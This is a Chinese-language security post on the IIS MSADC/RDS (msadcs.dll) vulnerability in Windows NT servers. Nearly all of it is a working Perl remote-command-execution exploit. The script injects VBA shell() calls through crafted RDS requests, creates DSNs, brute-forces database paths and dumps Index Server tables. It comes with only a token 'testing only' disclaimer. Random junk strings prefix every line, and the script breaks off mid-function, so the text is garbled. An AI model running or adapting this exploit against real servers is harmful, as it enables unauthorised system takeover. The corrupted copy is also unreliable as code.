IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
%8xK BL]J 2q*wYuc 涉及程序:
Vd'=Fe;eB Microsoft NT server
ClNuO @gw8r[ 描述:
x0lAJaG 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Of}C.N8 NCgKWyRR 详细:
oc#hAjB. 如果你没有时间读详细内容的话,就删除:
LCuz_LTFq{ c:\Program Files\Common Files\System\Msadc\msadcs.dll
]zn3nhBI 有关的安全问题就没有了。
.Ad9(s FrE#l.)?! 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
d\25 ;s -@m< 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
LjIkZ'HuF 关于利用ODBC远程漏洞的描述,请参看:
? 51i0~O= " ]OROJGa http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ,sT5TS
q Y~?Z'uR 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Pz0TAb http://www.microsoft.com/security/bulletins/MS99-025faq.asp *]nk{jo2 `>OKV;~{z 这里不再论述。
6Cfsh<]b %/qwqo`Q
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
z[y v8n^~=SH /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
amQTPNI 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
n~ 0MhE0H =ADOf_n} Ejnk\ 8: #将下面这段保存为txt文件,然后: "perl -x 文件名"
cwzgIm+ C>SOd] #!perl
y>)c?9X #
:6/$/`I0W # MSADC/RDS 'usage' (aka exploit) script
^;tB,7:*V #
lS#^v#uS # by rain.forest.puppy
-!K&\hEjj #
k|{ 4"4r # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
/_YTOSZjm # beta test and find errors!
y|zIuI-p >]o>iOz;] use Socket; use Getopt::Std;
Z]x6np getopts("e:vd:h:XR", \%args);
mI]gDL1 5"X@<;H% print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
%0Qq~J@Lu e1%kW1Z9 if (!defined $args{h} && !defined $args{R}) {
%?Q&a ] print qq~
9ExI, Usage: msadc.pl -h <host> { -d <delay> -X -v }
\L`x![$~q -h <host> = host you want to scan (ip or domain)
$\|Q+ 7lQ -d <seconds> = delay between calls, default 1 second
`6;$Z)=. -X = dump Index Server path table, if available
]2
$T 6 -v = verbose
X4Pm&ol -e = external dictionary file for step 5
lxr;AJ( j(k}NWPH Or a -R will resume a command session
`r-3"or/$ $cU7)vmK` ~; exit;}
B2|0.G|[j DIJmISk $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
)dh`aQ%N " if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
RD=V`l{Z if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Hsd76z#8 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
:,g]Om^ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
sZEa8 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
B9%%jEH* dZI["FeO&d if (!defined $args{R}){ $ret = &has_msadc;
67
~p n die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
>#Xz~xI/I ;tF&r1 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
R[)bGl6# . "cmd /c ";
@#$(Cs*{] $in=<STDIN>; chomp $in;
oZ ^,* $command="cmd /c " . $in ;
c{KJNH%7 Y=g]\%-PB if (defined $args{R}) {&load; exit;}
h=JW^\?\] >5?:iaq
z print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
7[UD;&\k &try_btcustmr;
q]VB}nO 5G$ ,2i( print "\nStep 2: Trying to make our own DSN...";
Y*\N{6$2 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
f=u +G E!BzE_|i print "\nStep 3: Trying known DSNs...";
~(7ct*U~ &known_dsn;
_N)&<'lB< 1iNMgA print "\nStep 4: Trying known .mdbs...";
=p"ma83 &known_mdb;
p\9}}t7n w7&.Uqjf if (defined $args{e}){
WglpWp) print "\nStep 5: Trying dictionary of DSN names...";
&%;n9K &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
o*ucw3s> iz{TSU print "Sorry Charley...maybe next time?\n";
e9tb]sAG exit;
1ltW9^cF} p>#q* eU5 ##############################################################################
hUuKkUR+Ir }`%ks sub sendraw { # ripped and modded from whisker
57 Bx- sleep($delay); # it's a DoS on the server! At least on mine...
;R
Jv7@ my ($pstr)=@_;
k7;i^$@c socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
YbnXAi\y| die("Socket problems\n");
PxGw5: if(connect(S,pack "SnA4x8",2,80,$target)){
>(wQx05^D select(S); $|=1;
I|qhj*_C print $pstr; my @in=<S>;
z
Tz_"NI select(STDOUT); close(S);
}/,Rp/+7] return @in;
~P"Agpx3u } else { die("Can't connect...\n"); }}
RA;/ ?l -sZb+2tDa ##############################################################################
Li"+` W&&|T;P<J sub make_header { # make the HTTP request
8lGM>(:o my $msadc=<<EOT
,<)D3K< POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
L F } d User-Agent: ACTIVEDATA
TA2ETvz^ Host: $ip
KfYU.Q Content-Length: $clen
CV_M | Connection: Keep-Alive
OK8Ho" cofdDHXfQI ADCClientVersion:01.06
NO@`*:.^Y Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
tf|;'Nc6 t|hc`| --!ADM!ROX!YOUR!WORLD!
Zq<j}vVJ Content-Type: application/x-varg
0a^bAEP Content-Length: $reqlen
|WEl5 bNc3 LME&qKe5 EOT
'bz&m( ! ; $msadc=~s/\n/\r\n/g;
5]upfC6 return $msadc;}
~zG)<S"q hayJgkZ' ##############################################################################
}!R*Q`m -2 >s#/% sub make_req { # make the RDS request
o 9/,@Ri\5 my ($switch, $p1, $p2)=@_;
x[Hx.G}5+ my $req=""; my $t1, $t2, $query, $dsn;
/<IWdy]$3 8q9ATB-^> if ($switch==1){ # this is the btcustmr.mdb query
HGh
-rEh $query="Select * from Customers where City=" . make_shell();
H{,1-&>| $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
"DfjUk $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
(V\N1T,f 5u;//Cm elsif ($switch==2){ # this is general make table query
,(zV~-:9 $query="create table AZZ (B int, C varchar(10))";
Tsj/alC[ $dsn="$p1";}
~cfXEjE6 *w O~RnP elsif ($switch==3){ # this is general exploit table query
HKI\i)c $query="select * from AZZ where C=" . make_shell();
_SOwiz $dsn="$p1";}
FQ1B%u| s}OL)rW=} elsif ($switch==4){ # attempt to hork file info from index server
9+PAyI#w $query="select path from scope()";
|iX>hJSl $dsn="Provider=MSIDXS;";}
0B!(i.w D}lqd Ja elsif ($switch==5){ # bad query
H.E=m0np $query="select";
OFyy!r@? $dsn="$p1";}
*PV"&cx 7aKI=;60. $t1= make_unicode($query);
.%e>>U>F $t2= make_unicode($dsn);
~<9e}J $req = "\x02\x00\x03\x00";
J -Lynvqm $req.= "\x08\x00" . pack ("S1", length($t1));
6$=>ck P $req.= "\x00\x00" . $t1 ;
C=@4U} $req.= "\x08\x00" . pack ("S1", length($t2));
+ xO3<u $req.= "\x00\x00" . $t2 ;
DB-79U %W $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
.5o~^ return $req;}
/|P{t{^WM k'H[aYMA ##############################################################################
6kLy!QS l9="ccM sub make_shell { # this makes the shell() statement
*AQ3RA 8 return "'|shell(\"$command\")|'";}
=E%@8ZbK adIrrK ##############################################################################
6SH0
y *jWh4F, sub make_unicode { # quick little function to convert to unicode
f$kbb6juL my ($in)=@_; my $out;
n8=Dzv0 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
8IQ}%|lN return $out;}
:i& 9}\|, 4K~=l%l ##############################################################################
Ky,upU Q\
6-SAS sub rdo_success { # checks for RDO return success (this is kludge)
ng9e)lU~*b my (@in) = @_; my $base=content_start(@in);
`iM%R3& if($in[$base]=~/multipart\/mixed/){
l&U$LN$*e return 1 if( $in[$base+10]=~/^\x09\x00/ );}
M9BEG6E9 return 0;}
SO(BkxV@ w43b=7 ##############################################################################
4:NMZ `~ ^Cp2#d* sub make_dsn { # this makes a DSN for us
}u3|w0~c) my @drives=("c","d","e","f");
Xb>SA|6[| print "\nMaking DSN: ";
fxoEK}TM foreach $drive (@drives) {
0E!-G= v print "$drive: ";
h8 N|m0W my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
5R~M@ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
:??W3ROn . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
=FV(m
S $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
[r8[lkR return 0 if $2 eq "404"; # not found/doesn't exist
7<MEM NYX if($2 eq "200") {
d94k foreach $line (@results) {
D:bmq93PC return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
"``>ii } return 0;}
;<Hk Cd JfSe;
v ##############################################################################
IauLT;! X .\ fpjQW sub verify_exists {
Gg~0>XS my ($page)=@_;
pgh(~[ my @results=sendraw("GET $page HTTP/1.0\n\n");
v+ in:\Dv return $results[0];}
Aipm=C8 sBa:|(Y. ##############################################################################
{ m~)~/z? `G\Gk|4;2 sub try_btcustmr {
nCWoco.xy my @drives=("c","d","e","f");
DMG'8\5C my @dirs=("winnt","winnt35","winnt351","win","windows");
cpP}NJb0;% &T0]tzk*, foreach $dir (@dirs) {
d9k` print "$dir -> "; # fun status so you can see progress
.-M5.1mo\( foreach $drive (@drives) {
\zg R]| print "$drive: "; # ditto
2DFsMT>X $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Y`]P&y $reqlenlen=length( "$reqlen" );
uuwJ- $clen= 206 + $reqlenlen + $reqlen;
b:hta\%/2 D|)_c1g my @results=sendraw(make_header() . make_req(1,$drive,$dir));
=O0A(ca"g if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
t :YZua else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
oJQS&3;/r 9M27;"gK ##############################################################################
fb `x1Q YAT@xZs- sub odbc_error {
/fb}]e]N my (@in)=@_; my $base;
sGhw23 my $base = content_start(@in);
ri8=u$! if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
"%D"h $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
1]=X $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j#2Xw25 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8\P,2RSnt return $in[$base+4].$in[$base+5].$in[$base+6];}
{v]L|e%{ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
i;C` .+ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
NO[A00m|OL $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
^_@[1'^ ,.ivdg(/ ##############################################################################
mm+V*L{x "i#g [x sub verbose {
& tT6.@kH my ($in)=@_;
V?
tH/P return if !$verbose;
5|~g2Zz{; print STDOUT "\n$in\n";}
])F+ C/Px1 3GE;:;8B ##############################################################################
o"X..m< q&>fKS nKs sub save {
w%qnH e9 my ($p1, $p2, $p3, $p4)=@_;
|s/N?/qi open(OUT, ">rds.save") || print "Problem saving parameters...\n";
n4dNGp7\` print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
S`5bcxI_ close OUT;}
2qE_SSXn 'J} ?'{. ##############################################################################
t27UlFX MnFrQC sub load {
I ]o|mjvs my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
+d=f_@i open(IN,"<rds.save") || die("Couldn't open rds.save\n");
]N]Fb3 @p=<IN>; close(IN);
),`jMd1` $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
%XukiA+ $target= inet_aton($ip) || die("inet_aton problems");
*cWHl@4 print "Resuming to $ip ...";
kZ@UQ{>` $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
^"|q~2 if($p[1]==1) {
v]on0Pi! $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
*GXPN0^Qjo $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
b`+yNf my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
=dNE1rdzNa if (rdo_success(@results)){print "Success!\n";}
YFu,<8"swe else { print "failed\n"; verbose(odbc_error(@results));}}
BV@q@C elsif ($p[1]==3){
Sw E7U~ if(run_query("$p[3]")){
$S<B\\
% print "Success!\n";} else { print "failed\n"; }}
RYvcuA) elsif ($p[1]==4){
`]l`t"x if(run_query($drvst . "$p[3]")){
L bJf5xdi print "Success!\n"; } else { print "failed\n"; }}
}U'9 d#N exit;}
s'N < C=oeRc'r1W ##############################################################################
x[TLlV:{ rQT%~oM: sub create_table {
~v\
W[ my ($in)=@_;
N}nE9z5 $reqlen=length( make_req(2,$in,"") ) - 28;
u*%mUh $reqlenlen=length( "$reqlen" );
"#pxZ
B= $clen= 206 + $reqlenlen + $reqlen;
u0+F2+ I my @results=sendraw(make_header() . make_req(2,$in,""));
o9|
OL return 1 if rdo_success(@results);
36co'a4, my $temp= odbc_error(@results); verbose($temp);
y-H9fWi8Y& return 1 if $temp=~/Table 'AZZ' already exists/;
`,~'T [ return 0;}
d`V.i6u ^bPpcm= ##############################################################################
B2$cY;LH sM)1w- sub known_dsn {
:!t4.ko # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
i^:#*Q-co my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
a8)2I~j "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
g?xXX
/Qe "banner", "banners", "ads", "ADCDemo", "ADCTest");
aO}hE2] <L8FI78[* foreach $dSn (@dsns) {
i75\<X print ".";
e%ro7~ next if (!is_access("DSN=$dSn"));
.'66]QW if(create_table("DSN=$dSn")){
M]Vi]s print "$dSn successful\n";
NL|c5y<r if(run_query("DSN=$dSn")){
7P2(q print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
p9G+la~;VM print "Something's borked. Use verbose next time\n";}}} print "\n";}
3
[]ltN_ Yg5o!A ##############################################################################
go=xx.WJ yR{rje* sub is_access {
))dqC l my ($in)=@_;
'$p`3Oqi $reqlen=length( make_req(5,$in,"") ) - 28;
56kqG}mg& $reqlenlen=length( "$reqlen" );
iu<Tv,{8 $clen= 206 + $reqlenlen + $reqlen;
m#[c]v{ my @results=sendraw(make_header() . make_req(5,$in,""));
LrO[l0#'Q my $temp= odbc_error(@results);
8q]"CFpa verbose($temp); return 1 if ($temp=~/Microsoft Access/);
aUa+]H[ return 0;}
rkWy3X{%2< 7]?y
_%kT ##############################################################################
W!" $g g2?W@/pa sub run_query {
&?p(UY7'" my ($in)=@_;
b-VQn5W $reqlen=length( make_req(3,$in,"") ) - 28;
:/SGB3gb1t $reqlenlen=length( "$reqlen" );
xv147"w'v $clen= 206 + $reqlenlen + $reqlen;
p)Q5fh0- my @results=sendraw(make_header() . make_req(3,$in,""));
)Z4iM;4] return 1 if rdo_success(@results);
$; _{|{Yj my $temp= odbc_error(@results); verbose($temp);
r@i)Sluf return 0;}
0#Us*:[6 *uK!w(;2 ##############################################################################
i4> M WN|_IJR~ sub known_mdb {
WRbdv{1E my @drives=("c","d","e","f","g");
p"6[ S my @dirs=("winnt","winnt35","winnt351","win","windows");
lBG=jOS my $dir, $drive, $mdb;
xa_ IdkV my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
wO!>kc< Av n-Ug # this is sparse, because I don't know of many
QYDI-<.( my @sysmdbs=( "\\catroot\\icatalog.mdb",
lUq`tK8 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Y
cL((6A "\\system32\\certmdb.mdb",
Z;+;_Cw "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
LdiNXyyzet O+'k4 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
@JdeOL; "\\cfusion\\cfapps\\forums\\forums_.mdb",
U74L:&yLI "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
9_svtO ]P "\\cfusion\\cfapps\\security\\realm_.mdb",
@S~n^v,) "\\cfusion\\cfapps\\security\\data\\realm.mdb",
\cX9!lHl "\\cfusion\\database\\cfexamples.mdb",
%sZ3Gpi "\\cfusion\\database\\cfsnippets.mdb",
8N j} "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
_(=g[=Mer "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
H 9BqE+ "\\cfusion\\brighttiger\\database\\cleam.mdb",
]o'dr
r "\\cfusion\\database\\smpolicy.mdb",
G]xN#O; "\\cfusion\\database\cypress.mdb",
,f?B((l "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
7,?ai6{ "\\website\\cgi-win\\dbsample.mdb",
kAUL7_>6X "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
JB5%\ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
@pJ;L1sn ); #these are just
AGwdM-$iT foreach $drive (@drives) {
2XUIC^<@s foreach $dir (@dirs){
lxD~l#)^ln foreach $mdb (@sysmdbs) {
VJ&-Z | print ".";
9.~_swkv if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
]CU)#X<J print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
[zP}G?( if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
LoJEchRK print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
r
da: ~ } else { print "Something's borked. Use verbose next time\n"; }}}}}
v?nGAn %,S:^Rvv foreach $drive (@drives) {
(IHR {m foreach $mdb (@mdbs) {
:SMf
(E 5 print ".";
1z,P"?Q if(create_table($drv . $drive . $dir . $mdb)){
Um-Xb'R*]V print "\n" . $drive . $dir . $mdb . " successful\n";
x>K,{{B)X if(run_query($drv . $drive . $dir . $mdb)){
&jnBDr print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
P()&?C } else { print "Something's borked. Use verbose next time\n"; }}}}
rnMi
>? }
n
sN n>{ a|dgK+[ ##############################################################################
VyIJ)F.c K-.%1d@$y sub hork_idx {
Q0ezeo print "\nAttempting to dump Index Server tables...\n";
0iMfyW: print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
C^]UK $reqlen=length( make_req(4,"","") ) - 28;
PK{FQ3b2{ $reqlenlen=length( "$reqlen" );
mMu+MXTk< $clen= 206 + $reqlenlen + $reqlen;
IK4(r / my @results=sendraw2(make_header() . make_req(4,"",""));
:$X dR:f}} if (rdo_success(@results)){
6khm@}} my $max=@results; my $c; my %d;
W8]?dL}| for($c=19; $c<$max; $c++){
Qe9}%k6@E $results[$c]=~s/\x00//g;
7<8'7<X $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
j\BtaC $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
`X&